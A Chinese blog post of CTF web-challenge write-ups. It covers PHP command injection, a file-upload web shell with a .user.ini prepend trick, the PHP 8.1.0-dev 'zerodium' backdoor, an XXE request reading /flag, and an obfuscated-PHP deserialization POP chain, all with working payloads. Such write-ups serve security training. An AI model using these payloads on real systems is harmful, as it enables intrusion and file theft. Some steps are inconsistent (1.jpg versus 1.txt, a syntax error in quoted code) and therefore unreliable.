Advertisement

CTFSHOW和青少年CTFweb刷题

阅读量:

WEB12

打开环境后得到这样一句话

查看一下源代码,提示我们进行传参,进行命令执行

进行传参,确认可以进行命令执行

复制代码
    ?cmd=phpinfo();

那我们接下来就是用命令执行查找flag

复制代码
    ?cmd=system('ls');

发现该方法并不可行。题目提供了提示并明确指出必须调用glob() 函数highlight_file()函数进行操作。

glob函数

该函数提供符合指定模式的文件及目录名称所组成的数组。 该函数生成一组符合要求的文件及 directories 的名称列表。 如果无法找到结果则会返回 FALSE。

该函数提供符合指定模式的文件及 directories 名称所组成的数组。 该函数生成一组符合要求的 files 和 directories 的名称列表。 在无法找到结果时会返回 FALSE。

简单来说就是 glob()函数 是一种用于搜索文件的工具,并且通常会与通配符结合使用以遍历目录。

highlight_file()函数

hightlight_file()可以使文件内容高亮显示, 常用于读取文件内容

我们使用glob函数来遍历目录,再用print_r函数将目录打印出来

复制代码
    ?cmd=print_r(glob('*'));

遍历结束后获得了两个文件。
我们逐一排查这些文件。
机会稍纵即逝不可再得。
flag位于指定路径中。

我们使用hightlight_file()函数使文件内容高亮显示,得到flag

复制代码
    ?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

web13

打开环境,发现是文件上传

上传一句话木马,并抓包看一看

提示文件太大了,使用dirsearch扫一扫看看有什么文件

发现了uoload.php文件,请尝试无法直接打开查看是否存在备份文件。通过访问upload.php.bak获取了源代码。

复制代码
 <?php

    
 	header("content-type:text/html;charset=utf-8");
    
 	$filename = $_FILES['file']['name'];
    
 	$temp_name = $_FILES['file']['tmp_name'];
    
 	$size = $_FILES['file']['size'];
    
 	$error = $_FILES['file']['error'];
    
 	$arr = pathinfo($filename);
    
 	$ext_suffix = $arr['extension'];
    
 	if ($size > 24){
    
 		die("error file zise");
    
 	}
    
 	if (strlen($filename)>9){
    
 		die("error file name");
    
 	}
    
 	if(strlen($ext_suffix)>3){
    
 		die("error suffix");
    
 	}
    
 	if(preg_match("/php/i",$ext_suffix)){
    
 		die("error suffix");
    
     }
    
     if(preg_match("/php/i"),$filename)){
    
     die("error file name");
    
     }
    
 	if (move_uploaded_file($temp_name, './'.$filename)){
    
 		echo "文件上传成功!";
    
 	}else{
    
 		echo "文件上传失败!";
    
 	}
    
  
    
  ?>

该系统规定文件大小不超过24,并且文件名称以及扩展名的长度均不超过9和3,并且不允许使用以.php结尾的名称。

一句话木马是超过24个字符的

这里我们无法通过htaccess进行设置(不可行),但我们可以尝试通过.user.ini文件进行操作(之前的操作)。很久没接触过这个配置文件了(以前的操作),想起来还是有点模糊(记忆)。

.user.ini

文件管理-.user.ini的巧妙应用-博客

php.ini是php的核心配置文件,在 PHP 启动时被读取,那么web目录的其他ini文件也是可以被php识别

PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。

有时候我们进行文件上传的时候,站点不仅在前端做了白名单处理,还在后端做了黑名单处理以及文件类型的检验且服务器没有配置"AddType application/x-httpd-php .php .phtml",这时我们就不能通过简单的绕过前端验证修改数据包的Content-Type并将文件后缀改为phtml以此来利用文件上传漏洞。

我们构造.user.ini文件

复制代码
    auto_prepend_file=1.jpg

再构造一个1.txt文件,里面编写一个大小不超过24的一句话木马

复制代码
    <?php eval($_POST['x']);

先上传1.txt文件再上传.user.ini文件,上传成功

然后我们访问1.txt进行命令执行

复制代码
    x=system('ls');
复制代码
    x=system('ls /');

未检测到flag标志, 但反倒是意外地发现了一个异常的文件路径命名:903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php

访问它得到flag

复制代码
    x=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

PHP的后门

打开环境,查看源代码没有任何线索

它提示可能与PHP的版本有关 ,抓包看一看

发现了线索

去搜一搜

PHP 8.1.0-dev 后门远程命令执行漏洞演示-腾讯云开发者社区-腾讯云

PHP 8.1.0-dev 漏洞原理:

攻击者借助拥有git权限的账户发布了一个恶意提交,赋予了zlib扩展模块附加一个后门程序。如果该漏洞影响到运行PHP服务的应用程序,则可使未授权访问者运行其选定指令。当检测到客户端发送带有字符串zerodium的独特HTTP头信息时,就需要调用eval函数处理用户Agent字符串中的第八个字符及其后续部分。通过此漏洞机制,攻击者能够发起各种类型的网络攻击行动。

我们直接构造User-Agent

复制代码
    User-Agentt:zerodiumsystem("ls");
复制代码
    User-Agentt:zerodiumsystem("ls /");
复制代码
    User-Agentt:zerodiumsystem("cat /flag");

PHP的XXE

XXE(XML External Entity)是一种专门针对XML解析器的攻击手段,在其影响下可能会导致严重的安全风险;它也可被称为基于外部实体的注入攻击;在应用程序解析用户的XML输入时若未正确配置或过滤外部实体,则可能被用来实施恶意行为

XML允许多文档之间通过引用外部实体实现数据共享。这些外部实体可从本地文件、远程网络URL或其他指定来源获取数据。当应用程序解析包含恶意外部实体的XML输入且未采取适当防护措施时?攻击者可能读取敏感文件运行远程代码并发起其他恶意攻击。

这篇文章助你全面解析了XXE漏洞这一类网络安全问题的具体表现形式与危害性——来自先知社区的内容

打开环境,发现是phpinfo();的界面,题目已经给了提示是XXE

我们直接抓包构造XXE得到flag

复制代码
 GET /simplexml_load_string.php HTTP/1.1

    
 Host: challenge.qsnctf.com:31132
    
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
    
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    
 Accept-Encoding: gzip, deflate
    
 Connection: close
    
 Cookie: td_cookie=3096206426
    
 Upgrade-Insecure-Requests: 1
    
 Priority: u=1
    
 Content-Length: 185
    
  
    
 <?xml version="1.0" encoding="utf-8"?> 
    
  
    
   <!DOCTYPE xxe [
    
   <!ELEMENT name ANY >
    
   <!ENTITY xxe SYSTEM "file:///flag" >]>
    
   <root>
    
     <name>
    
       &xxe;
    
     </name>
    
   </root>

雏形系统

某天恰逢公司里的技术人员小王遭遇 layoff 的日子,在此期间这位同事未曾放松自我。当离别时刻即将来临之际,小王忽然产生了一种想法:特意留下一份特别的礼物作为纪念;随后,在离别前的一刻钟间内,他设计并完成了登录页面的一个草稿。

奇安信安全服务网下的PhpJAM混淆技术解析与应对策略概述

打开环境是一个登录界面,什么都没有,使用dirsearch扫一扫

发现了www.zip,访问下载文件,得到两个文件

robots.txt

qsnctf.php

复制代码
 <!DOCTYPE html>

    
 <html lang="en">
    
  
    
 <head>
    
     <meta charset="UTF-8">
    
     <meta http-equiv="X-UA-Compatible" content="IE=edge">
    
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
     <title>Login Page</title>
    
     <style>
    
     body {
    
         font-family: Arial, sans-serif;
    
         background-color: #f0f0f0;
    
         padding: 20px;
    
     }
    
  
    
     .container {
    
         max-width: 400px;
    
         margin: 0 auto;
    
         background-color: #fff;
    
         padding: 20px;
    
         border-radius: 5px;
    
         box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    
     }
    
  
    
     .alert {
    
         padding: 10px;
    
         background-color: #f8d7da;
    
         color: #721c24;
    
         border-radius: 5px;
    
         margin-bottom: 10px;
    
     }
    
  
    
     form {
    
         margin-bottom: 20px;
    
     }
    
  
    
     form input[type="text"],
    
     form input[type="password"],
    
     form input[type="submit"] {
    
         width: 100%;
    
         padding: 10px;
    
         margin-bottom: 10px;
    
         border: 1px solid #ccc;
    
         border-radius: 3px;
    
     }
    
  
    
     form input[type="submit"] {
    
         background-color: #007bff;
    
         color: #fff;
    
         border: none;
    
         cursor: pointer;
    
     }
    
     </style>
    
 </head>
    
  
    
 <body>
    
 <div class="container">
    
     <h1>Welcome to the login testing page!</h1>
    
     <hr>
    
     <?php
    
     $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
    
     .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
    
     .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    
     eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    
     ?>
    
     <form method="POST">
    
     <input type="text" name="username" placeholder="Username" required>
    
     <input type="password" name="password" placeholder="Password" required>
    
     <input type="submit" value="Login">
    
     </form>
    
  
    
 </div>
    
 </body>
    
  
    
 </html>

看到了一堆不懂的代码

实施方法步骤解密工作:深入解析奇安信攻防社区中的PhpJm混淆解密技术

得到

复制代码
 <?php

    
     error_reporting(0);
    
  
    
     class shi
    
     {
    
     public $next;
    
     public $pass;
    
     public function __toString(){
    
         $this->next::PLZ($this->pass);
    
     }
    
     }
    
     class wo
    
     {
    
     public $sex;
    
     public $age;
    
     public $intention;
    
     public function __destruct(){
    
         echo "Hi Try serialize Me!";
    
         $this->inspect();
    
     }
    
     function inspect(){
    
         if($this->sex=='boy'&&$this->age=='eighteen')
    
         {
    
             echo $this->intention;
    
         }
    
         echo "🙅18岁🈲";
    
     }
    
     }
    
  
    
     class Demo
    
     {
    
     public $a;
    
     static function __callStatic($action, $do)
    
     {
    
         global $b;
    
         $b($do[0]);
    
     }
    
     }
    
  
    
     $b = $_POST['password'];
    
     $a = $_POST['username'];
    
     @unserialize($a);
    
     if (!isset($b)) {
    
     echo "==================PLZ Input Your Name!==================";
    
     }
    
     if($a=='admin'&&$b=="'k1fuhu's test demo")
    
     {
    
     echo("登录成功");
    
     }
    
  
    
     ?>

。。。。反序列化

我们构造POP链

wo __destruct -> shi __toString -> Demo __callStatic

构造反序列化

复制代码
 <?php

    
 class shi{}
    
 class wo{}
    
 class Demo{}
    
  
    
 $c=new Demo();
    
 $b=new shi();
    
 $a=new wo();
    
 $a->sex='boy';
    
 $a->age='eighteen';
    
 $a->intention=$b;
    
 $b->next=$c;
    
 $b->pass='cat /f*';
    
 echo serialize($a);

得到

O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}

构造url: 得到flag

username 被设置为一个包含详细参数的字符串;并 password 被设置为 system

全部评论 (0)

还没有任何评论哟~